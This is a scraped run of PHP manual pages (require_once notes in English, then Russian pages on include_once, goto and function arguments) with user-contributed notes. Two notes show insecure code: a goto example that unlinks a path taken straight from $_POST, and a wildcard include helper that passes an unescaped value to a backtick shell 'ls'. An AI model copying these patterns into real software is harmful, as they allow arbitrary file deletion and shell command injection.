Furthermore, if you plan on using unit tests and mock objects (i.e. including mock classes before the real ones are included in the class you want to test), it will not work as require() loads a file and not a class.

To bypass that, and gain speed, I use :

<?php
class_exists('myClass') || require('path/to/myClass.class.php');
?>

I tried to time 100 require_once on the same file and it took the script 0.0026 seconds to run, whereas with my method it took only 0.00054 seconds. 4 times faster ! OK, my method of testing is quite empirical and YMMV but the bonus is the ability to use mock objects in your unit tests.
miqrogroove 01-May-2005 11:10
require_once() is NOT independent of require().  Therefore, the following code will work as expected:

echo.php
<?php
echo "Hello";
?>

test.php
<?php
require('echo.php');
require_once('echo.php');
?>

test.php outputs: "Hello".

Enjoy,
-- Miqro
ulderico at maber dot com dot br 22-Mar-2005 05:38
With both of your functions guys, Pure-PHP and jtaal at eljakim dot nl, you'll not have any variables available GLOBALly if they're supposed to be globals...

That's why my import handles better those situation. OK, SOME MAY DISPUTE that using include_once and require_once may slow down an application. But what's the use to do IN PHP what the interpreter *should* do better for you. Thusly these workarounds shall, some time in the future, DIE.

Thus It's better to well design your application to keep some order using few INCLUDES and REQUIRES in it rather than insert MANY AND SEVERAL *_once around.
Pure-PHP 17-Mar-2005 02:19
require_once can slower your app, if you include to many files.

You cann use this wrapper class, it is faster than include_once

http://www.pure-php.de/node/19

require_once("includeWrapper.class.php")

includeWrapper::require_once("Class1.class.php");
includeWrapper::require_once("Class1.class.php");
includeWrapper::require_once("Class2.class.php")
jtaal at eljakim dot nl 10-Mar-2005 05:00
When you feel the need for a require_once_wildcard function, here's the solution:

<?php // /var/www/app/system/include.inc.php

function require_once_wildcard($wildcard, $__FILE__) {
  preg_match("/^(.+)\/[^\/]+$/", $__FILE__, $matches);
  $ls = `ls $matches[1]/$wildcard`;
  $ls = explode("\n", $ls);
  array_pop($ls); // remove empty line ls always prints
  foreach ($ls as $inc) {
    require_once($inc);
  }
}

?>

The $__FILE__ variable should be filled with the special PHP construct __FILE__:
<?php // /var/www/app/classes.inc.php

require_once('system/include.inc.php');
require_once_wildcard("classes/*.inc.php", __FILE__);

?>

The (*.inc.php) files inside the directory classes are automagically included using require_once_wildcard.

This solution may not be as useful when using PHP5 in combination with classes and the autoload feature.

--
Jaap Taal
thomas dot revell at uwe dot ac dot uk 21-Jan-2005 02:00
Regarding the case insensitivity problems on Windows, it looks to me as though it is a problem in PHP5 as well (at least in some cases).

The following gave me problems:

From file URLSwitcher.php
<?php
require_once 'slimError/slimError.php';
require_once 'Navigator_Cache.php';
....
?>

From file Navigator_Cache.php
<?php
require_once 'slimError/slimerror.php';
...
?>

From file slimerror.php
<?php
class SLIMError {
...
}
?>
The above setup gave me an error : "Cannot redeclare class SLIMError"

If I change the require_once in URLSwitcher.php to match the one in Navigator_Cache.php, there isn't a problem, but if I do this the other way round, the same problem occurs.
18-Mar-2004 09:49
> Mac OS X systems are also not case-sensitive.
That depends on the filesystem:
- HFS and HFS+ are NOT case sensitive.
- UFS is case sensitive.


include_once

(PHP 4, PHP 5, PHP 7, PHP 8)

Выражение include_once включает и выполняет указанный файл во время выполнения скрипта. Его поведение идентично выражению include, с той лишь разницей, что если код из файла уже один раз был включён, он не будет включён и выполнен повторно и вернёт true. Как видно из имени, он включит файл только один раз.

include_once может использоваться в тех случаях, когда один и тот же файл может быть включён и выполнен более одного раза во время выполнения скрипта, в данном случае это поможет избежать проблем с переопределением функций, переменных и т.д.

Смотрите документацию по include для получения информации о том, как эта функция работает.

User Contributed Notes

There are no user contributed notes for this page.


goto

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

Что наихудшее может случиться, если используется goto?
Изображение предоставлено » xkcd

Оператор goto используется для перехода в другую часть программы. Место, куда необходимо перейти указывается с помощью чувствительный к регистру метки, за которой ставится двоеточие, после оператора goto указывается желаемая метка для перехода. Оператор не является неограниченным "goto". Целевая метка должна находиться в том же файле, в том же контексте. Имеется в виду, что вы не можете ни перейти за границы функции или метода, ни перейти внутрь одной из них. Вы также не можете перейти внутрь любой циклической структуры или оператора switch. Но вы можете выйти из них, и обычным применением оператора goto является использование его вместо многоуровневых break.

Пример #1 Пример использования goto

<?php
goto a;
echo 'Foo';

a:
echo 'Bar';
?>

Результат выполнения данного примера:

Bar

Пример #2 Пример использования goto в цикле

<?php
for($i=0,$j=50; $i<100; $i++) {
while($j--) {
if($j==17) goto end;
}
}
echo "i = $i";
end:
echo 'j hit 17';
?>

Результат выполнения данного примера:

j hit 17

Пример #3 Это не сработает

<?php
goto loop;
for($i=0,$j=50; $i<100; $i++) {
while($j--) {
loop:
}
}
echo "$i = $i";
?>

Результат выполнения данного примера:

Fatal error: 'goto' into loop or switch statement is disallowed in
script on line 2

User Contributed Notes

Anonymous 07-Sep-2023 08:28
Example to exit loops:

for ($i = 0; $i < 10; $i++) {
    for ($j = 0; $j < 10; $j++) {
        if ($condition) {
            goto exit;
        }
    }
}
exit:
echo "Out of the loop.";
BPI 28-Sep-2022 11:37
You can jump inside the same switch. This can be usefull to jump to default
<?php
$x=3;
switch($x){
    case 0:
    case 3:
        print($x);
        if($x)
            goto def;
    case 5:
        $x=6;
    default:
        def:
        print($x);
}
?>
firstbitrix at ya dot ru 24-Feb-2022 09:52
I found a good way to use goto for walking through a foreach iteration one another time in order not to walk through whole array once again or not to use special and mostly complex if...else constructions.

But don't forget to make an exit from the goto loop if the iteration of rewalking reaches to many attemptions.

Brief example:

foreach ($fooArray as $foo) {

    $attemptionLimit = 0;
    restartIteration:
    if (++$attemptionLimit > 10) {
        continue;
    }

    $result = $foo->doSomething();
    if (!$result) {
        $foo->doSomethingElse($attemptionLimit);
        goto restartIteration;
    } else {
        echo "Done!";
    }
}
devbyjesus at example dot com 03-Feb-2022 06:58
the problem of goto is that it is a good feature but in a large codebase it reduces the readability of the code . that's all . i try to not use it to think about the person who is going to read after me .
PHP_is_still_great 17-Mar-2021 01:09
// goto is STILL a good feature if you know how to use it.
// Just don't use it in loops.
// Example:

        $sql = "DELETE FROM sometable WHERE id=?;";
        $stmt = $conn->prepare($sql);
        if (!$stmt) {
            echo "ERR prepare_fail";
            goto End;
        }
        $bind = $stmt->bind_param('i', $id);
        if (!$bind) {
            echo "ERR bind_fail";
            goto End;
        }
        $exec = $stmt->execute();
        if (!$exec) {
            echo "ERR exec_fail";
            goto End;
        }
        if (isset($_POST['file'])) {
            $file = "../" . $_POST['file'];
            if (is_file($file)) { unlink($file); }
        }
        echo "OK delete_success" ;

        End:
        $stmt->close();
        $conn->close();
        exit;

/*
    instead of repeating the $stmt->close() and $conn->close(),
    we save a few lines by adding a goto and just close everything at the end.
*/
Lollo 05-Jan-2021 02:00
You should mention the label can't be a variable


Функции

Содержание

  • Функции, определяемые пользователем
  • Аргументы функции
  • Возврат значений
  • Обращение к функциям через переменные
  • Встроенные функции
  • Анонимные функции
  • Стрелочные функции
  • Callback-функции как объекты первого класса

User Contributed Notes

There are no user contributed notes for this page.


Функции, определяемые пользователем

Приведём пример синтаксиса, используемого для описания функций:

Пример #1 Псевдокод для демонстрации использования функций

<?php
function foo($arg_1, $arg_2, /* ..., */ $arg_n)
{
echo "Пример функции.\n";
return $retval;
}
?>

Внутри функции можно использовать любой корректный PHP-код, в том числе другие функции и даже объявления классов.

Имена функций следуют тем же правилам, что и другие метки в PHP. Корректное имя функции начинается с буквы или знака подчёркивания, за которым следует любое количество букв, цифр или знаков подчёркивания. В качестве регулярного выражения оно может быть выражено так: ^[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff]*$.

Подсказка

Смотрите также Руководство по именованию.

Функции не обязаны быть определены до их использования, исключая тот случай, когда функции определяются условно, как это показано в двух последующих примерах.

В случае, когда функция определяется в зависимости от какого-либо условия, например, как это показано в двух приведённых ниже примерах, обработка описания функции должна предшествовать её вызову.

Пример #2 Функции, зависящие от условий

<?php

$makefoo = true;

/* Мы не можем вызвать функцию foo() в этом месте,
поскольку она ещё не определена, но мы можем
обратиться к bar() */

bar();

if ($makefoo) {
function foo()
{
echo "Я не существую до тех пор, пока выполнение программы меня не достигнет.\n";
}
}

/* Теперь мы благополучно можем вызывать foo(),
поскольку $makefoo была интерпретирована как true */

if ($makefoo) foo();

function bar()
{
echo "Я существую сразу с начала старта программы.\n";
}

?>

Пример #3 Вложенные функции

<?php
function foo()
{
function bar()
{
echo "Я не существую пока не будет вызвана foo().\n";
}
}

/* Мы пока не можем обратиться к bar(),
поскольку она ещё не определена. */

foo();

/* Теперь мы можем вызвать функцию bar(),
обработка foo() сделала её доступной. */

bar();

?>

Все функции и классы PHP имеют глобальную область видимости - они могут быть вызваны вне функции, даже если были определены внутри и наоборот.

PHP не поддерживает перегрузку функции, также отсутствует возможность переопределить или удалить объявленную ранее функцию.

Замечание: Имена функций регистронезависимы для символов ASCII от A до Z, тем не менее, предпочтительнее вызывать функции так, как они были объявлены.

Функции PHP поддерживают как списки аргументов переменной длины, так и значения аргументов по умолчанию. Смотрите также описания функций func_num_args(), func_get_arg() и func_get_args() для более детальной информации.

Можно вызывать функции PHP рекурсивно.

Пример #4 Рекурсивные функции

<?php
function recursion($a)
{
if ($a < 20) {
echo "$a\n";
recursion($a + 1);
}
}
?>

Замечание: Рекурсивный вызов методов/процедур с глубиной более 100-200 уровней рекурсии может вызвать переполнение стека и привести к аварийному завершению скрипта. В частности, бесконечная рекурсия будет считаться программной ошибкой.

User Contributed Notes

There are no user contributed notes for this page.


Аргументы функции

Функция может принимать информацию в виде списка аргументов, который является списком разделённых запятыми выражений. Аргументы вычисляются слева направо перед фактическим вызовом функции (энергичное вычисление).

PHP поддерживает передачу аргументов по значению (по умолчанию), передачу аргументов по ссылке, и значения по умолчанию. Списки аргументов переменной длины и именованные аргументы также поддерживаются.

Пример #1 Передача массива в функцию

<?php
function takes_array($input)
{
echo "$input[0] + $input[1] = ", $input[0]+$input[1];
}
?>

Начиная с PHP 8.0.0, список аргументов функции может содержать завершающую запятую, которая будет проигнорирована. Это полезно в случае, когда список аргументов очень длинный, либо если имена переменных длинны, что подталкивает к их вертикальному расположению.

Пример #2 Список аргументов функции с завершающей запятой

<?php
function takes_many_args(
$first_arg,
$second_arg,
$a_very_long_argument_name,
$arg_with_default = 5,
$again = 'a default string', // Эта завершающая запятая допустима только начиная с 8.0.0.
)
{
// ...
}
?>

Передача аргументов по ссылке

По умолчанию аргументы в функцию передаются по значению (это означает, что если вы измените значение аргумента внутри функции, то вне её значение всё равно останется прежним). Если вы хотите разрешить функции модифицировать свои аргументы, вы должны передавать их по ссылке.

Если вы хотите, чтобы аргумент всегда передавался по ссылке, вы можете указать амперсанд (&) перед именем аргумента в описании функции:

Пример #3 Передача аргументов по ссылке

<?php
function add_some_extra(&$string)
{
$string .= 'и кое-что ещё.';
}
$str = 'Это строка, ';
add_some_extra($str);
echo $str; // выведет 'Это строка, и кое-что ещё.'
?>

Передача значения в качестве аргумента, которое должно передаваться по ссылке, является ошибкой.

Значения аргументов по умолчанию

Функция может определять значения по умолчанию для аргументов, используя синтаксис, подобный присвоению переменной. Значение по умолчанию используется только в том случае, если параметр не указан; в частности, обратите внимание, что передача null не присваивает значение по умолчанию.

Пример #4 Использование значений по умолчанию в определении функции

<?php
function makecoffee($type = "капучино")
{
return "Готовим чашку $type.\n";
}
echo makecoffee();
echo makecoffee(null);
echo makecoffee("эспрессо");
?>

Результат выполнения данного примера:

Готовим чашку капучино.
Готовим чашку .
Готовим чашку эспрессо.

Значениями параметров по умолчанию могут быть скалярные значения, массивы (array), специальный тип null, и, начиная с версии PHP 8.1.0, объекты, использующие синтаксис new ClassName().

Пример #5 Использование нескалярных типов в качестве значений по умолчанию

<?php
function makecoffee($types = array("капучино"), $coffeeMaker = NULL)
{
$device = is_null($coffeeMaker) ? "вручную" : $coffeeMaker;
return "Готовлю чашку ".join(", ", $types)." $device.\n";
}
echo makecoffee();
echo makecoffee(array("капучино", "лавацца"), "в чайнике");
?>

Пример #6 Использование объектов в качестве значений по умолчанию (начиная с PHP 8.1.0)

<?php
class DefaultCoffeeMaker {
public function brew() {
return 'Приготовление кофе.';
}
}
class FancyCoffeeMaker {
public function brew() {
return 'Приготовление прекрасного кофе специально для вас.';
}
}
function makecoffee($coffeeMaker = new DefaultCoffeeMaker)
{
return $coffeeMaker->brew();
}
echo makecoffee();
echo makecoffee(new FancyCoffeeMaker);
?>

Значение по умолчанию должно быть константным выражением, а не (к примеру) переменной или вызовом функции/метода класса.

Обратите внимание, что любые необязательные аргументы должны быть указаны после любых обязательных аргументов, иначе они не могут быть опущены при вызове. Рассмотрим следующий пример:

Пример #7 Некорректное использование значений по умолчанию

<?php
function makeyogurt($container = "миску", $flavour)
{
return "Делаем $container с $flavour йогуртом.\n";
}

echo makeyogurt("малиновым"); // "малиновым" - это $container, не $flavour
?>

Результат выполнения данного примера:

Fatal error: Uncaught ArgumentCountError: Too few arguments
to function makeyogurt(), 1 passed in example.php on line 42

Теперь сравним его со следующим примером:

Пример #8 Корректное использование значений по умолчанию

<?php
function makeyogurt($flavour, $container = "миску")
{
return "Делаем $container с $flavour йогуртом.\n";
}

echo makeyogurt("малиновым"); // "малиновым" - это $flavour
?>

Результат выполнения данного примера:

Делаем миску с малиновым йогуртом.

Начиная с PHP 8.0.0, именованные аргументы можно использовать для пропуска нескольких необязательных параметров.

Пример #9 Правильное использование аргументов функций по умолчанию

<?php
function makeyogurt($container = "миску", $flavour = "малиновым", $style = "греческим")
{
return "Делаем $container с $flavour $style йогуртом.\n";
}
echo makeyogurt(style: "натуральным");
?>

Результат выполнения данного примера:

Делаем миску с малиновым натуральным йогуртом.

Начиная с PHP 8.0.0, объявление обязательных аргументов после необязательных аргументов является устаревшим. Обычно это можно решить отказавшись от значения по умолчанию, поскольку оно никогда не будет использоваться. Исключением из этого правила являются аргументы вида Type $param = null, где null по умолчанию делает тип неявно обнуляемым. Такое использование остаётся допустимым, хотя рекомендуется использовать явный тип nullable.

Пример #10 Объявление необязательных аргументов после обязательных аргументов

<?php
function foo($a = [], $b) {} // По умолчанию не используется; устарел, начиная с версии PHP 8.0.0
function foo($a, $b) {} // Функционально эквивалентны, без уведомления об устаревании
function bar(A $a = null, $b) {} // Все еще разрешено; $a является обязательным, но допускающим значение null
function bar(?A $a, $b) {} // Рекомендуется
?>

Замечание: Начиная с PHP 7.1.0, опущение параметра, не заданного по умолчанию, выбрасывает исключение ArgumentCountError; в предыдущих версиях это вызывало предупреждение.

Замечание: Значения по умолчанию могут быть переданы по ссылке.

Списки аргументов переменной длины

PHP поддерживает списки аргументов переменной длины для функций, определяемых пользователем с помощью добавления многоточия (...).

Список аргументов может содержать многоточие (...), чтобы показать, что функция принимает переменное количество аргументов. Аргументы в этом случае будут переданы в виде массива:

Пример #11 Использование ... для доступа к аргументам

<?php
function sum(...$numbers) {
$acc = 0;
foreach ($numbers as $n) {
$acc += $n;
}
return $acc;
}

echo sum(1, 2, 3, 4);
?>

Результат выполнения данного примера:

10

Многоточие (...) можно использовать при вызове функции, чтобы распаковать массив (array) или Traversable переменную в список аргументов:

Пример #12 Использование ... для передачи аргументов

<?php
function add($a, $b) {
return $a + $b;
}

echo add(...[1, 2])."\n";

$a = [1, 2];
echo add(...$a);
?>

Результат выполнения данного примера:

3
3

Можно задать несколько аргументов в привычном виде, а затем добавить .... В этом случае ... поместит в массив только те аргументы, которые не нашли соответствия указанным в объявлении функции.

Также можно добавить объявление типа перед .... В этом случае все аргументы, обработанные многоточием (...), должны соответствовать этому типу параметра.

Пример #13 Аргументы с подсказкой типа

<?php
function total_intervals($unit, DateInterval ...$intervals) {
$time = 0;
foreach ($intervals as $interval) {
$time += $interval->$unit;
}
return $time;
}

$a = new DateInterval('P1D');
$b = new DateInterval('P2D');
echo total_intervals('d', $a, $b).' days';

// Это не сработает, т.к. null не является объектом DateInterval.
echo total_intervals('d', null);
?>

Результат выполнения данного примера:

3 days
Catchable fatal error: Argument 2 passed to total_intervals() must be an instance of DateInterval, null given, called in - on line 14 and defined in - on line 2

В конце концов, можно передавать аргументы по ссылке. Для этого перед ... нужно поставить амперсанд (&).

Именованные аргументы

В PHP 8.0.0 в виде продолжения позиционных параметров появились именованные аргументы. С их помощью аргументы функции можно передавать по имени параметра, а не по его позиции. Таким образом аргумент становится самодокументированным, независимым от порядка и указанного значения по умолчанию.

Именованные аргументы передаются путём добавления через двоеточия имени параметра перед его значением. В качестве имён параметров можно использовать зарезервированные ключевые слова. Имя параметра должно быть идентификатором, т.е. он не может быть создан динамически.

Пример #14 Синтаксис именованного аргумента

<?php
myFunction(paramName: $value);
array_foobar(array: $value);

// НЕ поддерживается.
function_name($variableStoringParamName: $value);
?>

Пример #15 Позиционные аргументы в сравнении с именованными аргументами

<?php
// Использование позиционных аргументов:
array_fill(0, 100, 50);

// Использование именованных аргументов:
array_fill(start_index: 0, count: 100, value: 50);
?>

Порядок, в котором передаются именованные аргументы, не имеет значения.

Пример #16 Тот же пример, что и выше, но с другим порядком параметров

<?php
array_fill(value: 50, count: 100, start_index: 0);
?>

Именованные аргументы можно комбинировать с позиционными. В этом случае именованные аргументы должны следовать после позиционных аргументов. Также возможно передать только часть необязательных аргументов функции, независимо от их порядка.

Пример #17 Объединение именованных аргументов с позиционными аргументами

<?php
htmlspecialchars($string, double_encode: false);
// То же самое
htmlspecialchars($string, ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML401, 'UTF-8', false);
?>

Передача одного и того же параметра несколько раз приводит к выбрасыванию исключения Error.

Пример #18 Ошибка, возникающая при передаче одного и того же параметра несколько раз

<?php
function foo($param) { ... }

foo(param: 1, param: 2);
// Error: Named parameter $param overwrites previous argument
foo(1, param: 2);
// Error: Named parameter $param overwrites previous argument
?>

Начиная с PHP 8.1.0, можно использовать именованные аргументы после распаковки аргументов. Именованный аргумент не должен переопределять уже распакованный аргумент.

Пример #19 Пример использования именованных аргументов после распаковки

<?php
function foo($a, $b, $c = 3, $d = 4) {
return $a + $b + $c + $d;
}
var_dump(foo(...[1, 2], d: 40)); // 46
var_dump(foo(...['b' => 2, 'a' => 1], d: 40)); // 46
var_dump(foo(...[1, 2], b: 20)); // Фатальная ошибка. Именованный аргумент $b переопределяет предыдущий аргумент
?>

User Contributed Notes

Luna 15-Dec-2022 06:23
When using named arguments and adding default values only to some of the arguments, the arguments with default values must be specified at the end or otherwise PHP throws an error:

<?php

function test1($a, $c, $b = 2)
{
    return $a + $b + $c;
}

function test2($a, $b = 2, $c)
{
    return $a + $b + $c;
}

echo test1(a: 1, c: 3)."\n"; // Works
echo test2(a: 1, c: 3)."\n"; // ArgumentCountError: Argument #2 ($b) not passed

?>

I assume that this happens because internally PHP rewrites the calls to something like test1(1, 3) and test2(1, , 3). The first call is valid, but the second obviously isn't.
tianyiw at vip dot qq dot com 15-Sep-2022 06:57
<?php
/**
 * Create an array using Named Parameters.
 *
 * @param mixed ...$values
 * @return array
 */
function arr(mixed ...$values): array
{
    return $values;
}

$arr = arr(
    name: 'php',
    mobile: 123456,
);

var_dump($arr);
// array(2) {
//   ["name"]=>
//   string(3) "php"
//   ["mobile"]=>
//   int(123456)
// }
TwystO 28-Apr-2022 12:40
As stated in the documentation, the ... token can be used to pass an array of parameters to a function.

But it also works for class constructors as you can see below :

<?php

class Courtesy {
    public string $firstname;
    public string $lastname;

    public function __construct($firstname, $lastname) {
        $this->firstname = $firstname;
        $this->lastname = $lastname;
    }

    public function hello() {
        return 'Hello ' . $this->firstname . ' ' . $this->lastname . '!';
    }
}

$params = [ 'John', 'Doe' ];

$courtesy = new Courtesy(...$params);

echo $courtesy->hello();

?>
Simmo at 9000 dot 000 09-Mar-2022 05:13
For anyone just getting started with php or searching, for an understanding, on what this page describes as a "... token" in Variable-length arguments:
https://www.php.net/manual/en/functions.arguments.php#functions.variable-arg-list
<?php

  func($a, ...$b)

?>
The 3 dots, or elipsis, or "...", or dot dot dot is sometimes called the "spread operator" in other languages.

As this is only used in function arguments, it is probably not technically an true operator in PHP.  (As of 8.1 at least?).

(With having an difficult to search for name like "... token", I hope this note helps someone).
tesdy14 at gmail dot com 08-Nov-2021 05:43
function my_fonction(string $value) {
    echo $value . PHP_EOL;
}

my_fonction(['foo' => 'ko', 'bar' => 'not', 'goodValue' => 'Oh Yeah']['goodValue']);

// return 'Oh Yeah'

// This may sound strange, anyway it's very useful in a foreach (or other conditional structure).

$expectedStatusCodes = [404, 403];

function getValueFromArray(string $value): string
{
    return $value . PHP_EOL;
}

foreach ($expectedStatusCodes as $code) {
    echo $currentUserReference = getValueFromArray(
        [
            404 => "Doesn't exist",
            403 => 'Forbidden',
            200 => "you're welcome"
        ][$code]
    );
}
LilyWhite 03-Oct-2021 12:20
It is worth noting that you can use functions as function arguments

<?php
function run($op, $a, $b) {
  return $op($a, $b);
}

$add = function($a, $b) {
  return $a + $b;
};

$mul = function($a, $b) {
  return $a * $b;
};

echo run($add, 1, 2), "\n";
echo run($mul, 1, 2);
?>

Output:
3
2
rsperduta at gmail dot com 13-Feb-2021 07:33
About example #2: That little comma down at the end and often obscured by a line comment is easily over looked. I think it's worth considering putting it at the head of the next line to make clear what it's relationship is to the surrounding lines. Consider how much clearer it's continuation as a list of parameters:

<?php
function takes_many_args(
    $first_arg // some description
    , $second_arg // another comment
    , $a_very_long_argument_name = something($complicated) // IDK
    , $arg_with_default = 5
    , $again = 'a default string', // IMHO this trailing comma encourages illegible code and not being permitted seemed  a good idea lost with 8.0.0.
) {
    // ...
}
?>

 This principle can be applied equally to complicated boolean expressions of an "if" statement (or the parts of a for statement).
shaman_master at list dot ru 22-Nov-2019 04:38
You can use the class/interface as a type even if the class/interface is not  defined yet or the class/interface implements current class/interface.
<?php
interface RouteInterface
{
    public function getGroup(): ?RouteGroupInterface;
}
interface RouteGroupInterface extends RouteInterface
{
    public function set(RouteInterface $item);
}
?>
'self' type - alias to current class/interface, it's not changed in implementations. This code looks right but throw error:
<?php
class Route
{
    protected $name;
     // method must return Route object
    public function setName(string $name): self
    {
         $this->name = $name;
         return $this;
    }
}
class RouteGroup extends Route
{
    // method STILL must return only Route object
    public function setName(string $name): self
    {
         $name .= ' group';
         return parent::setName($name);
    }
}
?>
dmitry dot balabka at gmail dot com 13-Nov-2018 09:47
There is a possibility to use parent keyword as type hint which is not mentioned in the documentation.

Following code snippet will be executed w/o errors on PHP version 7. In this example, parent keyword is referencing on ParentClass instead of ClassTrait.
<?php
namespace TestTypeHints;

class ParentClass
{
    public function someMethod()
    {
        echo 'Some method called' . \PHP_EOL;
    }
}

trait ClassTrait
{
    private $original;

    public function __construct(parent $original)
    {
        $this->original = $original;
    }

    protected function getOriginal(): parent
    {
        return $this->original;
    }
}

class Implementation extends ParentClass
{
    use ClassTrait;

    public function callSomeMethod()
    {
        $this->getOriginal()->someMethod();
    }
}

$obj = new Implementation(new ParentClass());
$obj->callSomeMethod();
?>

Outputs:
Some method called
boan dot web at outlook dot com 08-Feb-2018 11:27
Quote:

"The declaration can be made to accept NULL values if the default value of the parameter is set to NULL."

But you can do this (PHP 7.1+):

<?php
function foo(?string $bar) {
    //...
}

foo(); // Fatal error
foo(null); // Okay
foo('Hello world'); // Okay
?>
igorsantos07 at gmail dot com 27-Dec-2017 05:06
PHP 7+ does type coercion if strict typing is not enabled, but there's a small gotcha: it won't convert null values into anything.

You must explicitly set your default argument value to be null (as explained in this page) so your function can also receive nulls.

For instance, if you type an argument as "string", but pass a null variable into it, you might expect to receive an empty string, but actually, PHP will yell at you a TypeError.

<?php
function null_string_wrong(string $str) {
  var_dump($str);
}
function null_string_correct(string $str = null) {
  var_dump($str);
}
$null = null;
null_string_wrong('a');     //string(1) "a"
null_string_correct('a');   //string(1) "a"
null_string_correct();      //NULL
null_string_correct($null); //NULL
null_string_wrong($null);   //TypeError thrown
?>
info at keraweb dot nl 21-Sep-2017 09:25
You can use a class constant as a default parameter.

<?php

class A {
    const FOO = 'default';
    function bar( $val = self::FOO ) {
        echo $val;
    }
}

$a = new A();
$a->bar(); // Will echo "default"
Hayley Watson 30-Aug-2017 11:41
There are fewer restrictions on using ... to supply multiple arguments to a function call than there are on using it to declare a variadic parameter in the function declaration. In particular, it can be used more than once to unpack arguments, provided that all such uses come after any positional arguments.

<?php

$array1 = [[1],[2],[3]];
$array2 = [4];
$array3 = [[5],[6],[7]];

$result = array_merge(...$array1); // Legal, of course: $result == [1,2,3];
$result = array_merge($array2, ...$array1); // $result == [4,1,2,3]
$result = array_merge(...$array1, $array2); // Fatal error: Cannot use positional argument after argument unpacking.
$result = array_merge(...$array1, ...$array3); // Legal! $result == [1,2,3,5,6,7]
?>

The Right Thing for the error case above would be for $result==[1,2,3,4], but this isn't yet (v7.1.8) supported.
Hayley Watson 16-Aug-2017 12:50
If you use ... in a function's parameter list, you can use it only once for obvious reasons. Less obvious is that it has to be on the LAST parameter; as the manual puts it: "You may specify normal positional arguments BEFORE the ... token. (emphasis mine).

<?php
function variadic($first, ...$most, $last)
{/*etc.*/}

variadic(1, 2, 3, 4, 5);
?>
results in a fatal error, even though it looks like the Thing To Do™ would be to set $first to 1, $most to [2, 3, 4], and $last to 5.
gabriel at figdice dot org 11-Aug-2016 07:05
A function's argument that is an object, will have its properties modified by the function although you don't need to pass it by reference.

<?php
$x = new stdClass();
$x->prop = 1;

function f ( $o ) // Notice the absence of &
{
  $o->prop ++;
}

f($x);

echo $x->prop; // shows: 2
?>

This is different for arrays:

<?php
$y = [ 'prop' => 1 ];

function g( $a )
{
  $a['prop'] ++;
  echo $a['prop'];  // shows: 2
}

g($y);

echo $y['prop'];  // shows: 1
?>
catman at esteticas dot se 07-Feb-2016 01:06
I wondered if variable length argument lists and references works together, and what the syntax might be. It is not mentioned explicitly yet in the php manual as far as I can find. But other sources mention the following syntax "&...$variable" that works in php  5.6.16.

<?php
function foo(&...$args)
{
    $i = 0;
    foreach ($args as &$arg) {
        $arg = ++$i;
    }
}
foo($a, $b, $c);
echo 'a = ', $a, ', b = ', $b, ', c = ', $c;
?>
Gives
a = 1, b = 2, c = 3
php at richardneill dot org 28-Mar-2015 07:24
To experiment on performance of pass-by-reference and pass-by-value, I used this  script. Conclusions are below.

#!/usr/bin/php
<?php
function sum($array,$max){   //For Reference, use:  "&$array"
    $sum=0;
    for ($i=0; $i<2; $i++){
        #$array[$i]++;        //Uncomment this line to modify the array within the function.
        $sum += $array[$i];
    }
    return ($sum);
}

$max = 1E7                  //10 M data points.
$data = range(0,$max,1);

$start = microtime(true);
for ($x = 0 ; $x < 100; $x++){
    $sum = sum($data, $max);
}
$end =  microtime(true);
echo "Time: ".($end - $start)." s\n";

/* Run times:
#    PASS BY    MODIFIED?   Time
-    -------    ---------   ----
1    value      no          56 us
2    reference  no          58 us

3    valuue     yes         129 s
4    reference  yes         66 us

Conclusions:

1. PHP is already smart about zero-copy / copy-on-write. A function call does NOT copy the data unless it needs to; the data is
   only copied on write. That's why  #1 and #2 take similar times, whereas #3 takes 2 million times longer than #4.
   [You never need to use &$array to ask the compiler to do a zero-copy optimisation; it can work that out for itself.]

2. You do use &$array  to tell the compiler "it is OK for the function to over-write my argument in place, I don't need the original
   any more." This can make a huge difference to performance when we have large amounts of memory to copy.
   (This is the only way it is done in C, arrays are always passed as pointers)

3. The other use of & is as a way to specify where data should be *returned*. (e.g. as used by exec() ).
   (This is a C-like way of passing pointers for outputs, whereas PHP functions normally return complex types, or multiple answers
   in an array)

4. It's  unhelpful that only the function definition has &. The caller should have it, at least as syntactic sugar. Otherwise
   it leads to unreadable code: because the person reading the function call doesn't expect it to pass by reference. At the moment,
   it's necessary to write a by-reference function call with a comment, thus:
    $sum = sum($data,$max);  //warning, $data passed by reference, and may be modified.

5. Sometimes, pass by reference could be at the choice of the caller, NOT the function definitition. PHP doesn't allow it, but it
   would be meaningful for the caller to decide to pass data in as a reference. i.e. "I'm done with the variable, it's OK to stomp
   on it in memory".
*/
?>
Horst Schirmeier 08-Jan-2014 11:58
Editor's note: what is expected here by the parser is a non-evaluated expression. An operand and two constants requires evaluation, which is not done by the parser. However, this feature is included as of PHP 5.6.0. See this page for more information: http://php.net/migration56.new-features#migration56.new-features.const-scalar-exprs
--------

"The default value must be a constant expression" is misleading (or even wrong).  PHP 5.4.4 fails to parse this function definition:

function htmlspecialchars_latin1($s, $flags = ENT_COMPAT | ENT_HTML401) {}

This yields a " PHP Parse error:  syntax error, unexpected '|', expecting ')' " although ENT_COMPAT|ENT_HTML401 is certainly what a compiler-affine person would call a "constant expression".

The obvious workaround is to use a single special value ($flags = NULL) as the default, and to set it to the desired value in the function's body (if ($flags === NULL) { $flags = ENT_COMPAT | ENT_HTML401; }).
John 15-Nov-2006 03:20
This might be documented somewhere OR obvious to most, but when passing an argument by reference (as of PHP 5.04) you can assign a value to an argument variable in the function call. For example:

function my_function($arg1, &$arg2) {
  if ($arg1 == true) {
    $arg2 = true;
  }
}
my_function(true, $arg2 = false);
echo $arg2;

outputs 1 (true)

my_function(false, $arg2 = false);
echo $arg2;

outputs 0 (false)
jcaplan at bogus dot amazon dot com 09-Mar-2006 03:11
In function calls, PHP clearly distinguishes between missing arguments and present but empty arguments.  Thus:

<?php
function f( $x = 4 ) { echo $x . "\\n"; }
f(); // prints 4
f( null ); // prints blank line
f( $y ); // $y undefined, prints blank line
?>

The utility of the optional argument feature is thus somewhat diminished.  Suppose you want to call the function f many times from function g, allowing the caller of g to specify if f should be called with a specific value or with its default value:

<?php
function f( $x = 4 ) {echo $x . "\\n"; }

// option 1: cut and paste the default value from f's interface into g's
function g( $x = 4 ) { f( $x ); f( $x ); }

// option 2: branch based on input to g
function g( $x = null ) { if ( !isset( $x ) ) { f(); f() } else { f( $x ); f( $x ); } }
?>

Both options suck.

